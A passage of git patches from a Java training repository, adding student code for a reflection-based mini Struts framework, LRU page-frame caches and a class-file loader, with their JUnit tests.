+		List<Method> methods = getGetterMethods(o.getClass());
+		for (Method m : methods) {
+			String methodName = m.getName();
+			String name = methodName.replaceFirst("get", "").toLowerCase();
+			try {
+				Object value = m.invoke(o);
+				params.put(name, value);
+			} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+				e.printStackTrace();
+			}
+		}
+		return params;
+	}
+
+	//////////////////////// Backup ///////////////////////////////////
+
+	public static List<Method> getGetterMethods_V1(Class<?> clz) {
+		List<Method> methods = new ArrayList<>();
+		for (Method m : clz.getDeclaredMethods()) {
+			if (m.getName().startsWith("get")) {
+				methods.add(m);
+			}
+		}
+		return methods;
+	}
+
+	public static List<Method> getSetterMethods_V1(Class clz) {
+		List<Method> methods = new ArrayList<>();
+		for (Method m : clz.getDeclaredMethods()) {
+			if (m.getName().startsWith("set")) {
+				methods.add(m);
+			}
+		}
+		return methods;
+	}
+}
diff --git a/group12/495473393/Code/src/week2/litestruts/ReflectionUtilTest.java b/group12/495473393/Code/src/week2/litestruts/ReflectionUtilTest.java
new file mode 100644
index 0000000000..c112ef9a38
--- /dev/null
+++ b/group12/495473393/Code/src/week2/litestruts/ReflectionUtilTest.java
@@ -0,0 +1,108 @@
+package week2.litestruts;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ReflectionUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testGetSetterMethod() throws Exception {
+		
+		String name = "com.coderising.litestruts.LoginAction";
+		Class<?> clz = Class.forName(name);
+		List<Method> methods = ReflectionUtil.getSetterMethods(clz);
+		
+		Assert.assertEquals(2, methods.size());
+		
+		List<String> expectedNames = new ArrayList<>();
+		expectedNames.add("setName");
+		expectedNames.add("setPassword");
+		
+		Set<String> acctualNames = new HashSet<>();
+		for(Method m : methods){
+			acctualNames.add(m.getName());
+		}
+		
+		Assert.assertTrue(acctualNames.containsAll(expectedNames));
+	}
+	
+	@Test	
+	public void testSetParameters() throws Exception{
+		
+		String name = "com.coderising.litestruts.LoginAction";
+		Class<?> clz = Class.forName(name);
+		Object o = clz.newInstance();
+		
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+		
+		ReflectionUtil.setParameters(o,params);
+		
+
+		
+		Field f = clz.getDeclaredField("name");
+		f.setAccessible(true);
+		Assert.assertEquals("test", f.get(o));
+		
+		f = clz.getDeclaredField("password");
+		f.setAccessible(true);
+		Assert.assertEquals("1234", f.get(o));
+	}
+	@Test
+	public void testGetGetterMethod() throws Exception{
+		String name = "com.coderising.litestruts.LoginAction";
+		Class<?> clz = Class.forName(name);
+		List<Method> methods = ReflectionUtil.getGetterMethods(clz);
+		
+		Assert.assertEquals(3, methods.size());
+		
+		List<String> expectedNames = new ArrayList<>();
+		expectedNames.add("getMessage");		
+		expectedNames.add("getName");
+		expectedNames.add("getPassword");
+		
+		Set<String> acctualNames = new HashSet<>();
+		for(Method m : methods){
+			acctualNames.add(m.getName());
+		}
+		
+		Assert.assertTrue(acctualNames.containsAll(expectedNames));
+	}
+	
+	@Test
+	public void testGetParamters() throws Exception{
+		String name = "com.coderising.litestruts.LoginAction";
+		Class<?> clz = Class.forName(name);
+		LoginAction action = (LoginAction)clz.newInstance();
+		action.setName("test");
+		action.setPassword("123456");
+		
+		Map<String,Object> params = ReflectionUtil.getParamterMap(action);
+		
+		Assert.assertEquals(3, params.size());
+		
+		Assert.assertEquals(null, params.get("messaage") );
+		Assert.assertEquals("test", params.get("name") );
+		Assert.assertEquals("123456", params.get("password") );
+	}
+}
diff --git a/group12/495473393/Code/src/week2/litestruts/Struts.java b/group12/495473393/Code/src/week2/litestruts/Struts.java
index bafaaafd8c..e240afc83b 100644
--- a/group12/495473393/Code/src/week2/litestruts/Struts.java
+++ b/group12/495473393/Code/src/week2/litestruts/Struts.java
@@ -1,11 +1,12 @@
 package week2.litestruts;
 
+import java.lang.reflect.Method;
 import java.util.Map;
 
-
-
 public class Struts {
 
+	private final static Configuration cfg = new Configuration("struts.xml");
+	
     public static View runAction(String actionName, Map<String,String> parameters) {
 
         /*
@@ -27,8 +28,29 @@ public static View runAction(String actionName, Map<String,String> parameters) {
 		放到View对象的jsp字段中。
         
         */
-    	
+    
+    	String clzName = cfg.getClassName(actionName);
+    	if(clzName == null){
+    		return null;
+    	}
+    	try {
+    		Class<?> clz = Class.forName(clzName);    		
+			Object action = clz.newInstance();
+			
+			ReflectionUtil.setParameters(action, parameters);
+			
+			Method m = clz.getDeclaredMethod("execute");			
+			String resultName = (String)m.invoke(action);
+			
+			Map<String,Object> params = ReflectionUtil.getParamterMap(action);	
+			String resultView = cfg.getResultView(actionName, resultName);			
+			View view = new View();			
+			view.setParameters(params);
+			view.setJsp(resultView);
+			return view;
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
     	return null;
     }    
-
 }
diff --git a/group12/495473393/Code/src/week2/litestruts/StrutsTest.java b/group12/495473393/Code/src/week2/litestruts/StrutsTest.java
index 9187ef02f2..e048bf9d6e 100644
--- a/group12/495473393/Code/src/week2/litestruts/StrutsTest.java
+++ b/group12/495473393/Code/src/week2/litestruts/StrutsTest.java
@@ -6,10 +6,6 @@
 import org.junit.Assert;
 import org.junit.Test;
 
-
-
-
-
 public class StrutsTest {
 
 	@Test
diff --git a/group12/495473393/Code/src/week2/litestruts/struts.xml b/group12/495473393/Code/src/week2/litestruts/struts.xml
index a6cfe43e6c..638a5f1f15 100644
--- a/group12/495473393/Code/src/week2/litestruts/struts.xml
+++ b/group12/495473393/Code/src/week2/litestruts/struts.xml
@@ -1,11 +1,11 @@
-<?xml version="1.0" encoding="UTF-8"?>
+<?XML version="1.0" encoding="UTF-8"?>
 <struts>
-    <action name="login" class="com.coderising.action.LoginAction">
+    <action name="login" class="com.coderising.litestruts.LoginAction">
         <result name="success">/jsp/homepage.jsp</result>
         <result name="fail">/jsp/showLogin.jsp</result>
     </action>
-    <action name="logout" class="com.coderising.action.LogoutAction">
-    	<result = "success">/jsp/welcome.jsp</result>
-    	<result = "error">/jsp/error.jsp</result>
+    <action name="logout" class="com.coderising.litestruts.LogoutAction">
+    	<result name="success">/jsp/welcome.jsp</result>
+    	<result name="error">/jsp/error.jsp</result>
     </action>
 </struts>
\ No newline at end of file

From 3a859a046a8456ed395168614469dd40305d1454 Mon Sep 17 00:00:00 2001
From: sawyerwu <664269713@qq.com>
Date: Mon, 3 Apr 2017 19:06:02 +0800
Subject: [PATCH 035/262] LRU and first min-jvm

---
 .../664269713/DataStructure/DataStructure.iml | 21 ++++++++++++++++++-
 .../src/com/ace/coding/Queue.java             |  2 +-
 2 files changed, 21 insertions(+), 2 deletions(-)

diff --git a/group03/664269713/DataStructure/DataStructure.iml b/group03/664269713/DataStructure/DataStructure.iml
index 595934855d..73665fca7c 100644
--- a/group03/664269713/DataStructure/DataStructure.iml
+++ b/group03/664269713/DataStructure/DataStructure.iml
@@ -4,10 +4,11 @@
     <exclude-output />
     <content url="file://$MODULE_DIR$">
       <sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
+      <sourceFolder url="file://$MODULE_DIR$/bin" isTestSource="false" />
     </content>
     <orderEntry type="inheritedJdk" />
     <orderEntry type="sourceFolder" forTests="false" />
-    <orderEntry type="module-library">
+    <orderEntry type="module-library" exported="">
       <library>
         <CLASSES>
           <root url="jar://$MODULE_DIR$/../../../../junit-4.12.jar!/" />
@@ -16,5 +17,23 @@
         <SOURCES />
       </library>
     </orderEntry>
+    <orderEntry type="module-library" exported="">
+      <library>
+        <CLASSES>
+          <root url="jar://$MODULE_DIR$/../../../../hamcrest-core-1.3.jar!/" />
+        </CLASSES>
+        <JAVADOC />
+        <SOURCES />
+      </library>
+    </orderEntry>
+    <orderEntry type="module-library" exported="">
+      <library>
+        <CLASSES>
+          <root url="jar://$MODULE_DIR$/../../../../hamcrest-library-1.3.jar!/" />
+        </CLASSES>
+        <JAVADOC />
+        <SOURCES />
+      </library>
+    </orderEntry>
   </component>
 </module>
\ No newline at end of file
diff --git a/group03/664269713/DataStructure/src/com/ace/coding/Queue.java b/group03/664269713/DataStructure/src/com/ace/coding/Queue.java
index 15bcf5d497..16f983727a 100644
--- a/group03/664269713/DataStructure/src/com/ace/coding/Queue.java
+++ b/group03/664269713/DataStructure/src/com/ace/coding/Queue.java
@@ -18,7 +18,7 @@ public Object deQueue(){
 	}
 	
 	public boolean isEmpty(){
-		return size()>0;
+		return size() == 0;
 	}
 	
 	public int size(){

From 8068caccaffb98229380b5a64e0c6aab2778ec48 Mon Sep 17 00:00:00 2001
From: sawyerwu <664269713@qq.com>
Date: Mon, 3 Apr 2017 19:08:57 +0800
Subject: [PATCH 036/262] LRU and first min-jvm

---
 .../src/com/ace/coding/DLinkedList.java       |  38 +++++
 .../src/com/ace/coding/LRUPageFrame.java      | 136 ++++++++++++++++++
 .../com/ace/jvm/loader/ClassFileLoader.java   |  62 ++++++++
 .../com/ace/jvm/test/ClassFileloaderTest.java |  88 ++++++++++++
 .../src/com/ace/jvm/test/EmployeeV1.java      |  28 ++++
 5 files changed, 352 insertions(+)
 create mode 100644 group03/664269713/DataStructure/src/com/ace/coding/DLinkedList.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/coding/LRUPageFrame.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java
 create mode 100644 group03/664269713/DataStructure/src/com/ace/jvm/test/EmployeeV1.java

diff --git a/group03/664269713/DataStructure/src/com/ace/coding/DLinkedList.java b/group03/664269713/DataStructure/src/com/ace/coding/DLinkedList.java
new file mode 100644
index 0000000000..3d96fc3fb2
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/coding/DLinkedList.java
@@ -0,0 +1,38 @@
+package com.ace.coding;
+
+import java.util.Objects;
+
+/**
+ * Created by ace on 2017/4/2.
+ */
+public class DLinkedList {
+    private Node first;
+    private Node last;
+    private int currentSize;
+
+    public DLinkedList(){
+        currentSize = 0;
+        first = null;
+        last = null;
+    }
+
+    public void add(Object obj){
+        Node newNode = new Node();
+        newNode.obj = obj;
+        if(first == null){
+            first = newNode;
+            last = newNode;
+        } else {
+
+        }
+    }
+
+
+    public static  class Node{
+        private Object obj;
+        private Node prev;
+        private Node next;
+
+        public Node(){}
+    }
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/coding/LRUPageFrame.java b/group03/664269713/DataStructure/src/com/ace/coding/LRUPageFrame.java
new file mode 100644
index 0000000000..338263fa64
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/coding/LRUPageFrame.java
@@ -0,0 +1,136 @@
+package com.ace.coding;
+
+/**
+ * 用双向链表实现LRU算法
+ *
+ */
+public class LRUPageFrame {
+
+	private int capacity;
+	private int currentSize;
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		currentSize = 0;
+		this.capacity = capacity;
+	}
+
+	/**
+	 * 获取缓存中对象
+	 */
+	public void access(int pageNum) {
+        Node newNode = new Node();
+        newNode.pageNum = pageNum;
+
+        if(currentSize == 0){
+            first = newNode;
+            last = first;
+            currentSize ++;
+        } else {
+            // if the node is exist then moveToHead
+            //else add to first
+                // if currentSize > 3 removeLast
+            Node currentNode = getNode(pageNum);
+            if(currentNode != null){
+                remove(currentNode);
+                addFirst(newNode);
+            } else {
+                addFirst(newNode);
+                if(currentSize > 3){
+                    removeLast();
+                }
+            }
+        }
+	}
+
+	private void remove(Node node){
+        Node pNode = first;
+        while(pNode != null){
+            if(pNode == node){
+                if(pNode == last){
+                    last = pNode.prev;
+                } else {
+                    pNode.next.prev = pNode.prev;
+                }
+                if(pNode == first){
+                    first = pNode.next;
+                } else {
+                    pNode.prev.next = pNode.next;
+                }
+                currentSize --;
+            }
+            pNode = pNode.next;
+        }
+    }
+
+    private Node getNode(int pageNum){
+	    Node pNode = first;
+        while(pNode != null){
+            if(pNode.pageNum == pageNum){
+                return pNode;
+            }
+            pNode = pNode.next;
+        }
+        return null;
+    }
+
+	private void removeLast(){
+	    Node pNode = last;
+	    if(first.next == null){
+	        first = null;
+	        last = null;
+        } else {
+	        last.prev.next  = null;
+	        last = last.prev;
+        }
+
+//        if(last != null){
+//	        if(last.prev != null){
+//	            last.prev.next = null;
+//            } else {
+//	            first = null;
+//            }
+//            last = last.prev;
+//        }
+
+        currentSize --;
+    }
+
+    private void addFirst(Node newNode){
+	    if(last == null){
+            last = newNode;
+        } else {
+	        newNode.next = first;
+	        first.prev = newNode;
+        }
+        first = newNode;
+	    currentSize ++;
+    }
+	
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	private static class Node {
+
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..a6f34271e3
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,62 @@
+package com.ace.jvm.loader;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+	    String path = getClassPath() + "//" + className.replaceAll("\\.", "//") + ".class";
+	    InputStream in = null;
+	    ByteArrayOutputStream out = new ByteArrayOutputStream();
+	    try{
+            in = new FileInputStream(path);
+            byte[] bytes = new byte[1024];
+            int len = 0;
+            while((len = in.read(bytes)) != -1){
+                out.write(bytes, 0 , len);
+            }
+        }catch (IOException e){
+            e.printStackTrace();
+        } finally {
+            if (in != null){
+                try {
+                    in.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+
+		return out.toByteArray();
+	}
+	
+	
+	public void addClassPath(String path) {
+	    clzPaths.add(path);
+	}
+	
+	
+	
+	public String getClassPath(){
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < clzPaths.size(); i++){
+			if(i == clzPaths.size() - 1){
+				sb.append(clzPaths.get(i));
+			}else{
+				sb.append(clzPaths.get(i) + ";");
+			}
+		}
+		return sb.toString();
+	}
+
+	
+
+	
+
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java b/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..2079641d3b
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,88 @@
+package com.ace.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.ace.jvm.loader.ClassFileLoader;
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "D:\\Upgrade\\coding2017\\group03\\664269713\\DataStructure\\bin";
+	static String path2 = "C:\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.ace.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(809, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.ace.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/test/EmployeeV1.java b/group03/664269713/DataStructure/src/com/ace/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..4add710f5e
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.ace.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file

From d760066eae1e892a1f7e9b573f3560fc7239eea0 Mon Sep 17 00:00:00 2001
From: Jiandan1357 <s20160705@xs.ustb.edu.cn>
Date: Mon, 3 Apr 2017 22:24:19 +0800
Subject: [PATCH 037/262] SVM&LRU

SVM&LRU
---
 .../{ => 1List&BinaryTreeNode}/ArrayList.java |   0
 .../BinaryTreeNode.java                       |   0
 .../{ => 1List&BinaryTreeNode}/Iterator.java  |   0
 .../LinkedList.java                           |   0
 .../{ => 1List&BinaryTreeNode}/List.java      |   0
 .../{ => 1List&BinaryTreeNode}/Queue.java     |   0
 .../{ => 1List&BinaryTreeNode}/Stack.java     |   0
 .../JVM&LRU/JVM/ClassFileLoader.java          |  63 ++++
 .../JVM&LRU/JVM/ClassFileloaderTest.java      |  88 +++++
 group23/601689050/JVM&LRU/JVM/EmployeeV1.java |  28 ++
 group23/601689050/JVM&LRU/LRU/Iterator.java   |   5 +
 .../601689050/JVM&LRU/LRU/LRUPageFrame.java   | 117 +++++++
 .../JVM&LRU/LRU/LRUPageFrameTest.java         |  29 ++
 group23/601689050/JVM&LRU/LRU/LinkedList.java | 313 ++++++++++++++++++
 group23/601689050/JVM&LRU/LRU/List.java       |   7 +
 15 files changed, 650 insertions(+)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/ArrayList.java (100%)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/BinaryTreeNode.java (100%)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/Iterator.java (100%)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/LinkedList.java (100%)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/List.java (100%)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/Queue.java (100%)
 rename group23/601689050/{ => 1List&BinaryTreeNode}/Stack.java (100%)
 create mode 100644 group23/601689050/JVM&LRU/JVM/ClassFileLoader.java
 create mode 100644 group23/601689050/JVM&LRU/JVM/ClassFileloaderTest.java
 create mode 100644 group23/601689050/JVM&LRU/JVM/EmployeeV1.java
 create mode 100644 group23/601689050/JVM&LRU/LRU/Iterator.java
 create mode 100644 group23/601689050/JVM&LRU/LRU/LRUPageFrame.java
 create mode 100644 group23/601689050/JVM&LRU/LRU/LRUPageFrameTest.java
 create mode 100644 group23/601689050/JVM&LRU/LRU/LinkedList.java
 create mode 100644 group23/601689050/JVM&LRU/LRU/List.java

diff --git a/group23/601689050/ArrayList.java b/group23/601689050/1List&BinaryTreeNode/ArrayList.java
similarity index 100%
rename from group23/601689050/ArrayList.java
rename to group23/601689050/1List&BinaryTreeNode/ArrayList.java
diff --git a/group23/601689050/BinaryTreeNode.java b/group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
similarity index 100%
rename from group23/601689050/BinaryTreeNode.java
rename to group23/601689050/1List&BinaryTreeNode/BinaryTreeNode.java
diff --git a/group23/601689050/Iterator.java b/group23/601689050/1List&BinaryTreeNode/Iterator.java
similarity index 100%
rename from group23/601689050/Iterator.java
rename to group23/601689050/1List&BinaryTreeNode/Iterator.java
diff --git a/group23/601689050/LinkedList.java b/group23/601689050/1List&BinaryTreeNode/LinkedList.java
similarity index 100%
rename from group23/601689050/LinkedList.java
rename to group23/601689050/1List&BinaryTreeNode/LinkedList.java
diff --git a/group23/601689050/List.java b/group23/601689050/1List&BinaryTreeNode/List.java
similarity index 100%
rename from group23/601689050/List.java
rename to group23/601689050/1List&BinaryTreeNode/List.java
diff --git a/group23/601689050/Queue.java b/group23/601689050/1List&BinaryTreeNode/Queue.java
similarity index 100%
rename from group23/601689050/Queue.java
rename to group23/601689050/1List&BinaryTreeNode/Queue.java
diff --git a/group23/601689050/Stack.java b/group23/601689050/1List&BinaryTreeNode/Stack.java
similarity index 100%
rename from group23/601689050/Stack.java
rename to group23/601689050/1List&BinaryTreeNode/Stack.java
diff --git a/group23/601689050/JVM&LRU/JVM/ClassFileLoader.java b/group23/601689050/JVM&LRU/JVM/ClassFileLoader.java
new file mode 100644
index 0000000000..6a7ab61bc0
--- /dev/null
+++ b/group23/601689050/JVM&LRU/JVM/ClassFileLoader.java
@@ -0,0 +1,63 @@
+package com.loader;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.Dictionary;
+import java.util.List;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<>();
+	
+	public byte[] readBinaryCode(String className) throws ClassNotFoundException {
+
+		String fileName = className.replace('.',File.separatorChar)+".class";
+		InputStream is = null;
+		try{
+			is = new FileInputStream(fileName);
+			ByteArrayOutputStream baos = new ByteArrayOutputStream();
+			byte[] buffer = new byte[1024];
+			int length = 0;
+			while((length = is.read(buffer)) != -1){
+				baos.write(buffer,0,length);
+			}
+			return baos.toByteArray();
+		} catch (IOException e){
+			e.printStackTrace();
+		} finally {
+			if(is!=null){
+				try{
+					is.close();
+				} catch (IOException e){
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+	}
+
+
+
+
+	public void addClassPath(String path) {
+
+		StringBuilder str = new StringBuilder(path);
+
+	}
+	
+	
+	
+	public String getClassPath(){
+
+		String path = Thread.currentThread().getContextClassLoader().getResource("/").getPath();
+
+		return path;
+	}
+
+	
+
+	
+
+}
diff --git a/group23/601689050/JVM&LRU/JVM/ClassFileloaderTest.java b/group23/601689050/JVM&LRU/JVM/ClassFileloaderTest.java
new file mode 100644
index 0000000000..eae77d6dd4
--- /dev/null
+++ b/group23/601689050/JVM&LRU/JVM/ClassFileloaderTest.java
@@ -0,0 +1,88 @@
+package com.test;
+
+import com.loader.ClassFileLoader;
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.Before;
+import org.junit.After;
+
+
+public class ClassFileloaderTest {
+
+
+	public static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	public static String path2 = "C:\\temp";
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() throws ClassNotFoundException {
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length-1);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber() throws ClassNotFoundException {
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+    
+    
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group23/601689050/JVM&LRU/JVM/EmployeeV1.java b/group23/601689050/JVM&LRU/JVM/EmployeeV1.java
new file mode 100644
index 0000000000..5785c48cc0
--- /dev/null
+++ b/group23/601689050/JVM&LRU/JVM/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group23/601689050/JVM&LRU/LRU/Iterator.java b/group23/601689050/JVM&LRU/LRU/Iterator.java
new file mode 100644
index 0000000000..96a43dbe0a
--- /dev/null
+++ b/group23/601689050/JVM&LRU/LRU/Iterator.java
@@ -0,0 +1,5 @@
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/601689050/JVM&LRU/LRU/LRUPageFrame.java b/group23/601689050/JVM&LRU/LRU/LRUPageFrame.java
new file mode 100644
index 0000000000..c065298de9
--- /dev/null
+++ b/group23/601689050/JVM&LRU/LRU/LRUPageFrame.java
@@ -0,0 +1,117 @@
+/**
+ * 用双向链表实现LRU算法
+ * @author liuxin
+ *
+ */
+public class LRUPageFrame {
+	
+	private static class Node {
+		
+		Node prev;
+		Node next;
+		int pageNum;
+
+		Node() {
+		}
+	}
+
+	private int capacity;
+	
+	
+	private Node first;// 链表头
+	private Node last;// 链表尾
+
+	
+	public LRUPageFrame(int capacity) {
+		
+		this.capacity = capacity;
+		
+	}
+
+	/**
+	 * 获取缓存中对象
+	 * 
+	 * @param
+	 * @return
+	 */
+	int size = 0;
+	public void access(int pageNum) {
+
+		if(size == 0){
+			Node node = new Node();
+			node.pageNum = pageNum;
+			node.prev = node.next = null;
+			first = last = node;
+			size++;
+		}else{
+			if(first.pageNum == pageNum){
+				return;
+			}
+			if(size == 1){
+				addToFirst(pageNum);
+			}else {
+				if (last.pageNum == pageNum) {
+					moveLastToFirst();
+					return;
+				}
+				Node iteratorNode = first;
+				while (iteratorNode.next != null && iteratorNode.pageNum != pageNum) {
+					iteratorNode = iteratorNode.next;
+				}
+				if (iteratorNode == last) {
+					addToFirst(pageNum);
+					if (size > capacity) {
+						last = last.prev;
+						last.next = null;
+					}
+				} else {
+				moveToFirst(iteratorNode);
+			}
+			}
+		}
+	
+	}
+
+	private void moveLastToFirst() {
+		last.next = first;
+		first.prev = last;
+		first = last;
+		last = last.prev;
+		last.next = null;
+		first.prev = null;
+	}
+	private void moveToFirst(Node iteratorNode){
+		iteratorNode.prev.next = iteratorNode.next;
+		iteratorNode.next.prev = iteratorNode.prev;
+		iteratorNode.prev = null;
+		iteratorNode.next = first;
+		first.prev = iteratorNode;
+		first = iteratorNode;
+	}
+
+	private void addToFirst(int pageNum) {
+		Node node = new Node();
+		node.pageNum = pageNum;
+		node.prev = null;
+		node.next = first;
+		first.prev = node;
+		first = node;
+		size++;
+	}
+
+
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		Node node = first;
+		while(node != null){
+			buffer.append(node.pageNum);			
+			
+			node = node.next;
+			if(node != null){
+				buffer.append(",");
+			}
+		}
+		return buffer.toString();
+	}
+	
+}
diff --git a/group23/601689050/JVM&LRU/LRU/LRUPageFrameTest.java b/group23/601689050/JVM&LRU/LRU/LRUPageFrameTest.java
new file mode 100644
index 0000000000..a7dd99ec58
--- /dev/null
+++ b/group23/601689050/JVM&LRU/LRU/LRUPageFrameTest.java
@@ -0,0 +1,29 @@
+import  org.junit.Assert;
+
+import org.junit.Test;
+
+
+public class LRUPageFrameTest {
+	
+	@Test
+	public void testAccess() {
+		LRUPageFrame frame = new LRUPageFrame(3);
+		frame.access(7);
+		frame.access(0);
+		frame.access(1);
+		Assert.assertEquals("1,0,7", frame.toString());
+		frame.access(2);
+		Assert.assertEquals("2,1,0", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(0);
